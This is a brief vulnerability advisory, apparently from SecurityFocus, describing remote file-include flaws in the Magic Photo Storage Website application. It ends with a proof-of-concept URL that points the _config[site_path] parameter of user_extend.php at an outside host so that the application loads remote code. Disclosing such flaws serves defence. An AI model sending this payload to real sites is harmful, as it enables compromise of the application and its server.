source: http://www.securityfocus.com/bid/21965/info
                          
Magic Photo Storage Website is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
                          
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/path/user/user_extend.php?_config[site_path]=http://www.example2.com